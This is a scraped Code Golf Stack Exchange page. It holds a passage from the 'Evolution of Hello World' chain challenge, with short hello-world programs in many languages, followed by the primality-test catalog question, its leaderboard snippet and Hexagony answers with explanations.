[J](https://codegolf.stackexchange.com/a/40410/21682) > 29. [PowerShell](https://codegolf.stackexchange.com/a/40411/21682) > 30. [K](https://codegolf.stackexchange.com/a/40413/21682) > 31. [Visual FoxPro](https://codegolf.stackexchange.com/a/40414/21682) > 32. [VBA](https://codegolf.stackexchange.com/a/40415/20807) > 33. [Extended BF Type III](https://codegolf.stackexchange.com/a/40418/21682) > 34. [Zsh](https://codegolf.stackexchange.com/a/40424/32377) > 35. [Dash](https://codegolf.stackexchange.com/a/40426/32377) > 36. [Clojure](https://codegolf.stackexchange.com/a/40435/30525) > 37. [NetLogo](https://codegolf.stackexchange.com/a/40436/30525) > 38. [Groovy](https://codegolf.stackexchange.com/a/40437/30525) > 39. [CoffeeScript](https://codegolf.stackexchange.com/a/40439/30525) > 40. [Clipper](https://codegolf.stackexchange.com/a/40440/5372) > 41. [B.A.S.I.C.](https://codegolf.stackexchange.com/a/40441/5372) > 42. [FALSE](https://codegolf.stackexchange.com/a/40443/3918) > 43. [fish (shell)](https://codegolf.stackexchange.com/a/40445/3918) > 44. [GNU Octave](https://codegolf.stackexchange.com/a/40449/26997) > 45. [TCL](https://codegolf.stackexchange.com/a/40451/26997) > 46. [E](https://codegolf.stackexchange.com/a/40452/26997) > 47. [newLisp](https://codegolf.stackexchange.com/a/40456/25180) > 48. [Lisp](https://codegolf.stackexchange.com/a/40459/25180) > 49. [SMT-LIBv2](https://codegolf.stackexchange.com/a/40460/25180) > 50. [Racket](https://codegolf.stackexchange.com/a/40461/25180) > 51. [Batsh](https://codegolf.stackexchange.com/a/40462/25180) > 52. [tcsh](https://codegolf.stackexchange.com/a/40463/26997) > 53. [AppleScript](https://codegolf.stackexchange.com/a/40468/21682) > 54. [Mouse](https://codegolf.stackexchange.com/a/40469/21682) > 55. [Pixie](https://codegolf.stackexchange.com/a/40470/21682) > 56. [F#](https://codegolf.stackexchange.com/a/40471/25180) > 57. [Falcon](https://codegolf.stackexchange.com/a/40472/25180) > 58. [Burlesque](https://codegolf.stackexchange.com/a/40474/25180) > 59. [HTML](https://codegolf.stackexchange.com/a/40477/31414) > 60. [SGML](https://codegolf.stackexchange.com/a/40478/31414) > 61. [M4](https://codegolf.stackexchange.com/a/40480/30525) > 62. [MUMPS](https://codegolf.stackexchange.com/a/40487/25180) > 63. [TeX](https://codegolf.stackexchange.com/a/40488/25180) > 64. [Forth](https://codegolf.stackexchange.com/a/40494/25180) > 65. [Salmon](https://codegolf.stackexchange.com/a/40497/25180) > 66. [Turing](https://codegolf.stackexchange.com/a/40498/25180) > 67. [bc](https://codegolf.stackexchange.com/a/40499/25180) > 68. [Betterave](https://codegolf.stackexchange.com/a/40503/25180) > 69. [Scheme](https://codegolf.stackexchange.com/a/40505/25180) > 70. [Emacs Lisp](https://codegolf.stackexchange.com/a/40512/4768) > 71. [Logo](https://codegolf.stackexchange.com/a/40514/4768) > 72. [AutoLISP](https://codegolf.stackexchange.com/a/40521/21682) > 73. [///](https://codegolf.stackexchange.com/a/40536/21682) > 74. [Rebol](https://codegolf.stackexchange.com/a/40539/31414) > 75. [Maple](https://codegolf.stackexchange.com/a/40541/21682) > 76. [FreeBASIC](https://codegolf.stackexchange.com/a/40544/21682) > 77. [Vimscript](https://codegolf.stackexchange.com/a/40547/21682) > 78. [ksh](https://codegolf.stackexchange.com/a/40549/21682) > 79. [Hack](https://codegolf.stackexchange.com/a/40553/21682) > 80. [mIRC](https://codegolf.stackexchange.com/a/40554/21682) > 81. [Batch](https://codegolf.stackexchange.com/a/40557/31414) > 82. [Make](https://codegolf.stackexchange.com/a/40559/31414) > 83. [Markdown](https://codegolf.stackexchange.com/a/40588/31414) > 84. [sh](https://codegolf.stackexchange.com/a/40591/8713) > 85. [GDB](https://codegolf.stackexchange.com/a/40600/8713) > 86. [csh](https://codegolf.stackexchange.com/a/40601/8713) > 87. [HQ9+-](https://codegolf.stackexchange.com/a/40615/8713) > 88. [Postscript](https://codegolf.stackexchange.com/a/40618/8713) > 89. [Matlab](https://codegolf.stackexchange.com/a/40620/8713) > 90. [Oz](https://codegolf.stackexchange.com/a/40621/8713) > 91. [CASIO BASIC](https://codegolf.stackexchange.com/a/40641/31414) > 92. [VBScript](https://codegolf.stackexchange.com/a/40643/16484) > 93. [QBasic](https://codegolf.stackexchange.com/a/40645/16484) > 94. [Processing](https://codegolf.stackexchange.com/a/40647/16484) > 95. [C](https://codegolf.stackexchange.com/a/40649/16484) > 96. [Rust 0.13](https://codegolf.stackexchange.com/a/40650/16484) > 97. [Dart](https://codegolf.stackexchange.com/a/40651/16484) > 98. [Kaffeine](https://codegolf.stackexchange.com/a/40655/21682) > 99. [Algoid](https://codegolf.stackexchange.com/a/40657/21682) > 100. [AMPL](https://codegolf.stackexchange.com/a/40659/21682) > 101. [Alore](https://codegolf.stackexchange.com/a/40661/21682) > 102. [Forobj](https://codegolf.stackexchange.com/a/40671/21682) > 103. [T-SQL](https://codegolf.stackexchange.com/a/40672/21682) > 104. [LiveCode](https://codegolf.stackexchange.com/a/40681/21682) > 105. [Euphoria](https://codegolf.stackexchange.com/a/40683/21682) > 106. [SpeakEasy](https://codegolf.stackexchange.com/a/40684/21682) > 107. [MediaWiki](https://codegolf.stackexchange.com/a/40685/21682) > 108. [SmallBASIC](https://codegolf.stackexchange.com/a/40696/31414) > 109. [REXX](https://codegolf.stackexchange.com/a/40708/31414) > 110. [SQLite](https://codegolf.stackexchange.com/a/40711/26997) > 111. [TPP](https://codegolf.stackexchange.com/a/40716/26997) > 112. [Geom++](https://codegolf.stackexchange.com/a/40717/26997) > 113. [SQL (postgres)](https://codegolf.stackexchange.com/a/40724/21682) > 114. [itflabtijtslwi](https://codegolf.stackexchange.com/a/40732/31414) > 115. [RegXy](https://codegolf.stackexchange.com/a/40737/31414) > 116. [Opal.rb](https://codegolf.stackexchange.com/a/40749/31414) > 117. [Squirrel](https://codegolf.stackexchange.com/a/40751/31414) > 118. [Pawn](https://codegolf.stackexchange.com/a/40752/31414) > 119. [Scala](https://codegolf.stackexchange.com/a/40754/6741) > 120. [Rebmu](https://codegolf.stackexchange.com/a/40760/12784) > 121. [Boo](https://codegolf.stackexchange.com/a/40768/12784) > 122. [PARI/GP](https://codegolf.stackexchange.com/a/40773/12784) > 123. [Red](https://codegolf.stackexchange.com/a/40777/32377) > 124. [Swift](https://codegolf.stackexchange.com/a/40778/32377) > 125. [BeanShell](https://codegolf.stackexchange.com/questions/40376/evolution-of-hello-world-testing-new-type-of-challenge/40790#40790) > 126. [Vala](https://codegolf.stackexchange.com/questions/40376/evolution-of-hello-world-testing-new-type-of-challenge/40801#40801) > 127. [Pike](https://codegolf.stackexchange.com/a/40802/6741) > 128. [Suneido](https://codegolf.stackexchange.com/a/40804/6741) > 129. [AWK](https://codegolf.stackexchange.com/a/40815/26997) > 130. [Neko](https://codegolf.stackexchange.com/a/40818/26997) > 131. [AngelScript](https://codegolf.stackexchange.com/a/40836/26997) > 132. [gosu](https://codegolf.stackexchange.com/a/40839/26997) > 133. [V](https://codegolf.stackexchange.com/a/40840/26997) > 134. [ALAGUF](https://codegolf.stackexchange.com/a/40846/21682) > 135. [BogusForth](https://codegolf.stackexchange.com/a/40848/21682) > 136. [Flaming Thunder](https://codegolf.stackexchange.com/a/40850/21682) > 137. [Caché ObjectScript](https://codegolf.stackexchange.com/a/40853/21682) > 138. [owl](https://codegolf.stackexchange.com/a/40858/21682) > 139. [Cardinal](https://codegolf.stackexchange.com/a/40863/21682) > 140. [Parser](https://codegolf.stackexchange.com/a/40868/21682) > 141. [Grin](https://codegolf.stackexchange.com/a/40870/21682) > 142. [Kitten](https://codegolf.stackexchange.com/a/40880/21682) > 143. [TwoDucks](https://codegolf.stackexchange.com/a/40886/21682) > 144. [Asymptote](https://codegolf.stackexchange.com/a/40891/21682) > 145. [CAT](https://codegolf.stackexchange.com/a/40898/4897) > 146. [IDL](https://codegolf.stackexchange.com/a/40899/4897) > 147. [Tiny](https://codegolf.stackexchange.com/a/40904/21682) > 148. [WTFZOMFG](https://codegolf.stackexchange.com/a/40905/21682) > 149. [Io](https://codegolf.stackexchange.com/a/40906/21682) > 150. [MuPAD](https://codegolf.stackexchange.com/a/40917/4328) > 151. [Java](https://codegolf.stackexchange.com/a/40919/32510) > 152. [Onyx](https://codegolf.stackexchange.com/a/40923/32510) > 153. [JBoss](https://codegolf.stackexchange.com/a/40926/32510) > 154. [S+](https://codegolf.stackexchange.com/a/40948/32510) > 155. [Hexish](https://codegolf.stackexchange.com/a/40987/32510) > 156. [yash](https://codegolf.stackexchange.com/a/41022/32510) > 157. [Improbable](https://codegolf.stackexchange.com/a/41039/31414) > 158. [wake](https://codegolf.stackexchange.com/a/41060/32510) > 159. [brat](https://codegolf.stackexchange.com/a/41087/12554) > 160. [busybox built-in shell](https://codegolf.stackexchange.com/a/41094/12554) > 161. [gammaplex](https://codegolf.stackexchange.com/a/41097/12554) > 162. [KTurtle](/a/41552/13486) > 163. [AGOL 68](/a/41553/13486) > 164. [Alice](https://codegolf.stackexchange.com/a/41631/21682) > 165. [SML/NJ](/a/41705) > 166. [OCaml](https://codegolf.stackexchange.com/a/41709/6741) > 167. [CDuce](https://codegolf.stackexchange.com/a/44414/31203) > 168. [Underload](https://codegolf.stackexchange.com/a/49060/31203) > 169. [Simplex v.0.6](https://codegolf.stackexchange.com/a/61847/31203) > 170. [Minkolang 0.9](https://codegolf.stackexchange.com/a/61875/31203) > 171. [Fexl 7.0.3](https://codegolf.stackexchange.com/a/68520/48718) > 172. [Jolf](https://codegolf.stackexchange.com/a/68532/31957) > 173. [Vitsy](https://codegolf.stackexchange.com/a/73693/44713) > 174. [Y](https://codegolf.stackexchange.com/a/74104/34718) > 175. [Retina](https://codegolf.stackexchange.com/a/74112/34718) > 176. [Codename Dragon](https://codegolf.stackexchange.com/a/74232/31957) > 177. [Seriously](https://codegolf.stackexchange.com/a/75144/45941) > 178. [Reng v.3.3](https://codegolf.stackexchange.com/questions/40376/evolution-of-hello-world/80820#80820) > 179. [Fuzzy Octo Guacamole](https://codegolf.stackexchange.com/a/82360/46271) > 180. [05AB1E](https://codegolf.stackexchange.com/a/216176/94066) > > > (Feel free to edit these lists if they are incorrect or out of date.) This question works best when you [sort by oldest](//codegolf.stackexchange.com/questions/40376/evolution-of-hello-world-testing-new-type-of-challenge?answertab=oldest#tab-top). *NOTE: This is a trial question for a new challenge type I have in mind where each answer depends on the last and increases in difficulty. Come discuss it with us [in the chatroom for this question](http://chat.stackexchange.com/rooms/18189/discussion-for-evolution-of-hello-world) or in [meta](https://codegolf.meta.stackexchange.com/q/2415/26997).* [Answer] # Answer 1 - Python ``` print("Hello World!") ``` There's got to be dozens of languages this could morph into. [Answer] ## Answer 59 - HTML **What? No HTML ??** ``` <echo o[.]c;cat<<;#&&alert" ">Hello World!</vsh ``` Distance from [Answer 58](https://codegolf.stackexchange.com/a/40474/31414) : 6 **Voodoo Magic ? Nah. Here is how it works:** You can have any arbitrary tag in HTML, so the first part `<echo o[.]c;cat<<;#&&alert" ">` is an `echo` tag, which now becomes a blank tag with no CSS applied by default by the browser. The `o[.]c;cat<<;#&&alert" "` part is actually two properties set on that tag separated by space. So the first property has the key `o[.]c;cat<<;#&&alert"` and second key is `"` and both the values are blank. Second part is just plain text `Hello World!` which is the text contents of the `echo` tag. Next up, HTML tries to find the closing `echo` tag, but instead, finds a closing `vsh` tag. It then ignores the closing `vsh` tag (i.e. `</vsh`) and auto closes the `echo` tag. [Answer] # Answer 95 - C ``` //[]([.]c; main() { puts("Hello World!");} //#[;]#bye;dnl</> ``` Distance 7 from [answer 94](https://codegolf.stackexchange.com/a/40647/31387) [Answer] # Answer 85 - [GDB](http://www.gnu.org/software/gdb/) (GNU Debugger) ``` #[]([.]c;main()&alert" " echo Hello World! #[;]:;#bye;dnl</vsh> ``` I think this can also be qualified as a programming language. It has even [`if` and `while` commands](https://sourceware.org/gdb/current/onlinedocs/gdb/Command-Files.html#Command-Files). [`echo`](https://sourceware.org/gdb/current/onlinedocs/gdb/Output.html) is another built in command in GDB. To run this code: ``` gdb --batch -x file ``` Distance: 7 from [answer 84](https://codegolf.stackexchange.com/a/40591/25180). [Answer] # Answer 151 - Java ``` //# class jux{public static void main(String[] h){System.out.println(//;\#//Hello*}}print, "Hello World!");}}//print"putsx;//-##[;]#bye</>%" ``` Distance from [Answer 150](https://codegolf.stackexchange.com/a/40917/31414) : 7 [Try it here](http://ideone.com/TTCpUX) (Thanks to Christopher Creutzig for being such a sport :) ) [Answer] # Answer 22 - LOLCODE ``` VISIBLE "Hello World!" ``` Distance : 6 [Answer] # Answer 10 - GNU dc ``` [puts "\x48][Hello World!]p ``` Distance: 6 [Answer] # Answer 4 - Pyth ``` "Hello World! ``` This answer is a distance of 6 from the [previous answer](https://codegolf.stackexchange.com/a/40379/21487). Pyth strings [do not need a closing quote if they are at the end of a line](https://codegolf.stackexchange.com/a/40041/21487). [Answer] # Answer 11 - Golfscript ``` #[puts "\x48] "Hello World!" ``` A distance of 5. [Answer] ## Answer 83 - Markdown **What ?? No Markdown ? :P** ``` [](#[.]c;cat;#&&alert" " @echo)Hello World! [;]:;#bye;dnl</vsh> ``` [Try it here](http://dillinger.io/) Distance from [Answer 82](https://codegolf.stackexchange.com/a/40559/31414) : 7 ``` e -> [ : -> ] \n -> ( o H -> o)H : -> [ # -> ] " -> : ``` **Voodoo magic ?? Nah!! Here is how it works:** * `[text](link)` creates a link. So the first part of the code is ``` [](#[.]c;cat;#&&alert" " @echo) ``` Which creates an empty text link with location ``` #[.]c;cat;#&&alert" " @echo ``` * Next part `Hello World!` is printed as is * Then `[;]:;#bye;dnl</vsh>` creates a reference link for `;` which can be used anywhere in the markdown. Ex: ``` [Some text][;] // Outputs a link with text "Some text" and url ";#bye;dnl</vsh>" ``` [Answer] # Answer 15 - Sage ``` print("Hello World!") ``` Distance = 6 Full circle. [Answer] # Answer 12 - Mathematica ``` #[puts]; "Hello World!" ``` Distance of 7. Attempting to clear up some of that mess. [Answer] # Answer 6 - Befunge 98 ``` <@,kb"Hello World!" ``` Distance of 5 from the [previous answer](https://codegolf.stackexchange.com/a/40381/9498). There was originally a bug where the `k` wasn't there; I know it was there when I wrote this program, though. I guess it just didn't make it into this post. [Answer] ## Answer 2 – CJam ``` "Hello World!" ``` This is a distance of 7 from the [first answer](https://codegolf.stackexchange.com/a/40377/31414) [Try it online here](http://cjam.aditsu.net/) [Answer] # Answer 19 - VHDL ``` report "Hello World!"; ``` Distance: 6 [Answer] # Answer 3 – PHP ``` <?="Hello World!"?> ``` This answer is a distance 5 from the [second answer](https://codegolf.stackexchange.com/a/40378/30164). [Answer] # Answer 23 - APL ``` "Hello World!" ``` Note there's a leading space. Distance: 7 [Answer] # Answer 5 - Perl ``` print"Hello World!" ``` This answer is a distance 6 from the [fourth answer](https://codegolf.stackexchange.com/a/40380/9498). [Answer] # Answer 7 - Bash ``` echo Hello World! ``` This is a distance of 7 from the [sixth answer](https://codegolf.stackexchange.com/a/40382/30081). [Answer] ## Answer 28 - J ``` ]trace=:('Hello World!') ``` Distance = 5 from [Answer 27](https://codegolf.stackexchange.com/a/40409/665) [Answer] ## Answer 33 - [Extended BF Type III](http://esolangs.org/wiki/Extended_Brainfuck) ``` a#="*#[.>]trac": "@Hello World! ``` Distance 7 from [Answer 32](https://codegolf.stackexchange.com/a/40415/16120) Well, I have not found an interpreter for that extension but the code seems to fit the specs of the language. ``` a //ignored #="*# //comment [.>] //print each character until an empty cell trac" //ignored : //move pointer, do not impact result " //ignored @ //end of source Hello World! //Injected in cells before execution ``` [Answer] # Answer 100 - AMPL ``` #[][.]#i #main() { print("Hello World!"); #[;]#bye;dnl</> ``` Distance 6 from [Answer 99](https://codegolf.stackexchange.com/a/40657/12784) [Answer] # Answer 8 - Nimrod ``` echo "\x48ello World!" ``` Distance of 6 from the [last answer](https://codegolf.stackexchange.com/a/40383/29611). [Answer] # Answer 14 - Lua ``` #[put print("Hello World!") ``` Distance = 7 [Answer] # Answer 21 - Haskell ``` putStrLn "Hello World!" ``` Distance: 7 [Answer] ## Answer 26 - TI-BASIC (NSpire) ``` Disp "Hello World!" ``` Distance: 5 from answer [25](https://codegolf.stackexchange.com/a/40406/21682) (Tested on a TI-NSpire calculator) [Answer] ## Answer 29 - MS Windows Powershell ``` #]trace=:( 'Hello World!' ``` Distance = 3 from Answer 28 [Answer] # Answer 42 - [FALSE](http://esolangs.org/wiki/FALSE) ``` {#ah="*#[.>]trac";cat<<@ #&&alert ?} "Hello World! " ``` Levenshtein distance from [#41](https://codegolf.stackexchange.com/a/40441/3918) is 7. Tested with [this online implementation](http://www.quirkster.com/iano/js/false-js.html) of FALSE. I used some leftover edit-distance slots to remove some cruft... [Answer] # Answer 150 - [MuPAD](http://www.mathworks.com/discovery/mupad.html) ``` //#class jux{public static void main(String[] h){System.out.println(;\#//Hello*}}print, "Hello World!"//print"putsx;//-##[;]#bye</>%" ``` Distance 6 from answer [149](https://codegolf.stackexchange.com/a/40906/4328). **EDIT**: Added “ h” to move the chain forward. [Answer] # Answer 30 - K ``` /#]trac "Hello World!" ``` Distance: 7 from [Answer 29](https://codegolf.stackexchange.com/a/40411/16402) I think this works, an interpreter is [here (Kona)](https://github.com/kevinlawler/kona). `/` begins a one-line comment in K. I've cleaned up some of the `#]trace=:(` mess. ]
[Question] [ Believe it or not, we do not yet have a code golf challenge for a simple [primality test](https://en.wikipedia.org/wiki/Primality_test). While it may not be the most interesting challenge, particularly for "usual" languages, it can be nontrivial in many languages. Rosetta code features lists by language of idiomatic approaches to primality testing, one using the [Miller-Rabin test](http://rosettacode.org/wiki/Miller-Rabin_primality_test) specifically and another using [trial division](http://rosettacode.org/wiki/Primality_by_trial_division). However, "most idiomatic" often does not coincide with "shortest." In an effort to make Programming Puzzles and Code Golf the go-to site for code golf, this challenge seeks to compile a catalog of the shortest approach in every language, similar to ["Hello, World!"](https://codegolf.stackexchange.com/q/55422/20469) and [Golf you a quine for great good!](https://codegolf.stackexchange.com/q/69/20469). Furthermore, the capability of implementing a primality test is part of [our definition of programming language](http://meta.codegolf.stackexchange.com/a/2073), so this challenge will also serve as a directory of proven programming languages. ### Task Write a **full program** that, given a strictly positive integer **n** as input, determines whether **n** is prime and prints a [truthy or falsy value](http://meta.codegolf.stackexchange.com/a/2194) accordingly. For the purpose of this challenge, an integer is prime if it has exactly two strictly positive divisors. Note that this excludes **1**, who is its only strictly positive divisor. Your algorithm must be deterministic (i.e., produce the correct output with probability 1) and should, in theory, work for arbitrarily large integers. In practice, you may assume that the input can be stored in your data type, as long as the program works for integers from 1 to 255. ### Input * If your language is able to read from STDIN, accept command-line arguments or any other alternative form of user input, you can read the integer as its decimal representation, unary representation (using a character of your choice), byte array (big or little endian) or single byte (if this is your languages largest data type). * If (and only if) your language is unable to accept any kind of user input, you may hardcode the input in your program. In this case, the hardcoded integer must be easily exchangeable. In particular, it may appear only in a single place in the entire program. For scoring purposes, submit the program that corresponds to the input **1**. ### Output Output has to be written to STDOUT or closest alternative. If possible, output should consist solely of a [truthy or falsy value](http://meta.codegolf.stackexchange.com/a/2194) (or a string representation thereof), optionally followed by a single newline. The only exception to this rule is constant output of your language's interpreter that cannot be suppressed, such as a greeting, ANSI color codes or indentation. ### Additional rules * This is not about finding the language with the shortest approach for prime testing, this is about finding the shortest approach in every language. Therefore, no answer will be marked as accepted. * Submissions in most languages will be scored in *bytes* in an appropriate preexisting encoding, usually (but not necessarily) UTF-8. The language [Piet](http://www.dangermouse.net/esoteric/piet.html), for example, will be scored in codels, which is the natural choice for this language. Some languages, like [Folders](http://esolangs.org/wiki/Folders), are a bit tricky to score. If in doubt, please ask on [Meta](http://meta.codegolf.stackexchange.com/). * Unlike our usual rules, feel free to use a language (or language version) even if it's newer than this challenge. If anyone wants to abuse this by creating a language where the empty program performs a primality test, then congrats for paving the way for a very boring answer. Note that there must be an interpreter so the submission can be tested. It is allowed (and even encouraged) to write this interpreter yourself for a previously unimplemented language. * If your language of choice is a trivial variant of another (potentially more popular) language which already has an answer (think BASIC or SQL dialects, Unix shells or trivial Brainfuck derivatives like Headsecks or Unary), consider adding a note to the existing answer that the same or a very similar solution is also the shortest in the other language. * Built-in functions for testing primality **are** allowed. This challenge is meant to catalog the shortest possible solution in each language, so if it's shorter to use a built-in in your language, go for it. * Unless they have been overruled earlier, all standard [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") rules apply, including the <http://meta.codegolf.stackexchange.com/q/1061>. As a side note, please don't downvote boring (but valid) answers in languages where there is not much to golf; these are still useful to this question as it tries to compile a catalog as complete as possible. However, do primarily upvote answers in languages where the author actually had to put effort into golfing the code. ### Catalog The Stack Snippet at the bottom of this post generates the catalog from the answers a) as a list of shortest solution per language and b) as an overall leaderboard. To make sure that your answer shows up, please start your answer with a headline, using the following Markdown template: ``` ## Language Name, N bytes ``` where `N` is the size of your submission. If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance: ``` ## Ruby, <s>104</s> <s>101</s> 96 bytes ``` If there you want to include multiple numbers in your header (e.g. because your score is the sum of two files or you want to list interpreter flag penalties separately), make sure that the actual score is the *last* number in the header: ``` ## Perl, 43 + 2 (-p flag) = 45 bytes ``` You can also make the language name a link which will then show up in the snippet: ``` ## [><>](http://esolangs.org/wiki/Fish), 121 bytes ``` ``` <style>body { text-align: left !important} #answer-list { padding: 10px; width: 290px; float: left; } #language-list { padding: 10px; width: 290px; float: left; } table thead { font-weight: bold; } table td { padding: 5px; }</style><script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="language-list"> <h2>Shortest Solution by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr> </thead> <tbody id="languages"> </tbody> </table> </div> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr> </thead> <tbody id="answers"> </tbody> </table> </div> <table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table><script>var QUESTION_ID = 57617; var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; var COMMENT_FILTER = "!)Q2B_A2kjfAiU78X(md6BoYk"; var OVERRIDE_USER = 12012; var answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page; function answersUrl(index) { return "https://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + ANSWER_FILTER; } function commentUrl(index, answers) { return "https://api.stackexchange.com/2.2/answers/" + answers.join(';') + "/comments?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + COMMENT_FILTER; } function getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); answers_hash = []; answer_ids = []; data.items.forEach(function(a) { a.comments = []; var id = +a.share_link.match(/\d+/); answer_ids.push(id); answers_hash[id] = a; }); if (!data.has_more) more_answers = false; comment_page = 1; getComments(); } }); } function getComments() { jQuery.ajax({ url: commentUrl(comment_page++, answer_ids), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { data.items.forEach(function(c) { if (c.owner.user_id === OVERRIDE_USER) answers_hash[c.post_id].comments.push(c); }); if (data.has_more) getComments(); else if (more_answers) getAnswers(); else process(); } }); } getAnswers(); var SCORE_REG = /<h\d>\s*([^\n,<]*(?:<(?:[^\n>]*>[^\n<]*<\/[^\n>]*>)[^\n,<]*)*),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/; var OVERRIDE_REG = /^Override\s*header:\s*/i; function getAuthorName(a) { return a.owner.display_name; } function process() { var valid = []; answers.forEach(function(a) { var body = a.body; a.comments.forEach(function(c) { if(OVERRIDE_REG.test(c.body)) body = '<h1>' + c.body.replace(OVERRIDE_REG, '') + '</h1>'; }); var match = body.match(SCORE_REG); if (match) valid.push({ user: getAuthorName(a), size: +match[2], language: match[1], link: a.share_link, }); else console.log(body); }); valid.sort(function (a, b) { var aB = a.size, bB = b.size; return aB - bB }); var languages = {}; var place = 1; var lastSize = null; var lastPlace = 1; valid.forEach(function (a) { if (a.size != lastSize) lastPlace = place; lastSize = a.size; ++place; var answer = jQuery("#answer-template").html(); answer = answer.replace("{{PLACE}}", lastPlace + ".") .replace("{{NAME}}", a.user) .replace("{{LANGUAGE}}", a.language) .replace("{{SIZE}}", a.size) .replace("{{LINK}}", a.link); answer = jQuery(answer); jQuery("#answers").append(answer); var lang = a.language; lang = jQuery('<a>'+lang+'</a>').text(); languages[lang] = languages[lang] || {lang: a.language, lang_raw: lang.toLowerCase(), user: a.user, size: a.size, link: a.link}; }); var langs = []; for (var lang in languages) if (languages.hasOwnProperty(lang)) langs.push(languages[lang]); langs.sort(function (a, b) { if (a.lang_raw > b.lang_raw) return 1; if (a.lang_raw < b.lang_raw) return -1; return 0; }); for (var i = 0; i < langs.length; ++i) { var language = jQuery("#language-template").html(); var lang = langs[i]; language = language.replace("{{LANGUAGE}}", lang.lang) .replace("{{NAME}}", lang.user) .replace("{{SIZE}}", lang.size) .replace("{{LINK}}", lang.link); language = jQuery(language); jQuery("#languages").append(language); } }</script> ``` [Answer] # [hello, world!](https://github.com/histocrat/hello_world), 13 ``` hello, world! ``` [Answer] # [Hexagony](https://github.com/mbuettner/hexagony), 29 bytes ``` .?'.).@@/'/.!.>+=(<.!)}($>(<% ``` The readable version of this code is: ``` . ? ' . ) . @ @ / ' / . ! . > + = ( < . ! ) } ( $ > ( < % . . . . . . . . ``` Explanation: It test if there is a number from 2 to n-1 who divides n. ## Initialization: Write n in one memory cell and n-1 in an other: ``` . ? ' . . . . . . . . . . . . + = ( . . . . . . . . . . . . . . . . . . . ``` ## Special Case n=1: Print a 0 and terminate ``` . . . . . . . @ . . . . ! . . . . . < . . . . . . . . . . . . . . . . . . ``` ## The loop Calculate n%a and decrease a. Terminate if a=1 or n%a=0. ``` . . . . ) . . . / ' / . . . > . . . . . . . } ( $ > ( < % . . . . . . . . ``` ## Case a=1: Increase a 0 to an 1, print it and terminate. (The instruction pointer runs in NE direction and loops from the eastern corner to the south western corner. And the $ makes sure it ignores the next command) ``` . . . . . . . @ . . . . ! . . . . . < . . ) . . $ . . < . . . . . . . . . ``` ## Case a%n=0: Print the 0 and terminate (The instruction pointer is running SW and loops to the top to the @ ``` . . . . . . @ . . . . . . . > . . . . . ! . . . . . . . . . . . . . . . . ``` [Answer] # [Hexagony](https://github.com/mbuettner/hexagony), ~~218~~ ~~92~~ ~~58~~ 55 bytes **Notice:** This answer has been solidly beaten [with a side-length 4 solution](https://codegolf.stackexchange.com/a/58347/8478) by Etoplay. ``` )}?}.=(..]=}='.}.}~./%*..&.=&{.<......=|>(<..}!=...&@\[ ``` The first ever non-trivial (i.e. non-linear) Hexagony program! It is based on the same squared-factorial approach as [Sp3000's Labyrinth answer](https://codegolf.stackexchange.com/a/57672/8478). After starting out with a hexagon of size 10, I managed to compress it down to size 5. However, I was able to reuse some duplicate code and there are still quite a bunch of no-ops in the code, so size 4 might *just* be possible. ## Explanation To make sense of the code, we first need to unfold it. Hexagony pads any source code to the next centred hexagonal number with no-ops (`.`), which is `61`. It then rearranges the code into a regular hexagon of the corresponding size: ``` ) } ? } . = ( . . ] = } = ' . } . } ~ . / % * . . & . = & { . < . . . . . . = | > ( < . . } ! = . . . & @ \ [ . . . . . . ``` This is quite heavily golfed with crossing and overlapping execution paths and multiple instruction pointers (IPs). To explain how it works, let's first look at an ungolfed version where control flow doesn't go through the edges, only one IP is used and the execution paths are as simple as possible: ``` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . . . ! . . . . . . . . . . . . . . . . % . . . . . . . . . . . . . . . . . ' . . . . . . . . . . . . . . . . . . & . . . . . . . . . . . . . . . . . . . { . . . . . . . . . . . . . . . . . . . . * . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . } . . . . . . . . . . . . . ) } ? } = & { < . . & . . . . . . . . . . . . . . . . . . . . . > ( < . . . . . . . . . . . . . . . . . . . . = . . } . . . . . . . . . . . . . . . . . . } . . . = . . . . . . . . . . . . . . . . | . . . . | . . . . . . . . . . . . . . . * . . . ) . . . . . . . . . . . . . . . = . . & . . . . . . . . . . . . . . . > } < . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ``` Side note: the above code starts with executing the first line, which is full of no-ops. Then, when the IP hits the north east edge, it wraps to the left-most corner (the `)`), where the actual code begins. Before we start, a word about Hexagony's memory layout. It's a bit like Brainfuck's tape on steroids. In fact, it's not a tape, but it's a hexagonal grid itself (an infinite one), where each *edge* has an integer value, which is initially 0 (and as opposed to standard Brainfuck, the values are signed arbitrary-precision integers). For this program, we'll be using four edges: [![enter image description here](https://i.stack.imgur.com/bh4T0.png)](https://i.stack.imgur.com/bh4T0.png) We'll compute the factorial on edge **A**, count down our input on edge **C** and store another copy of the input (for 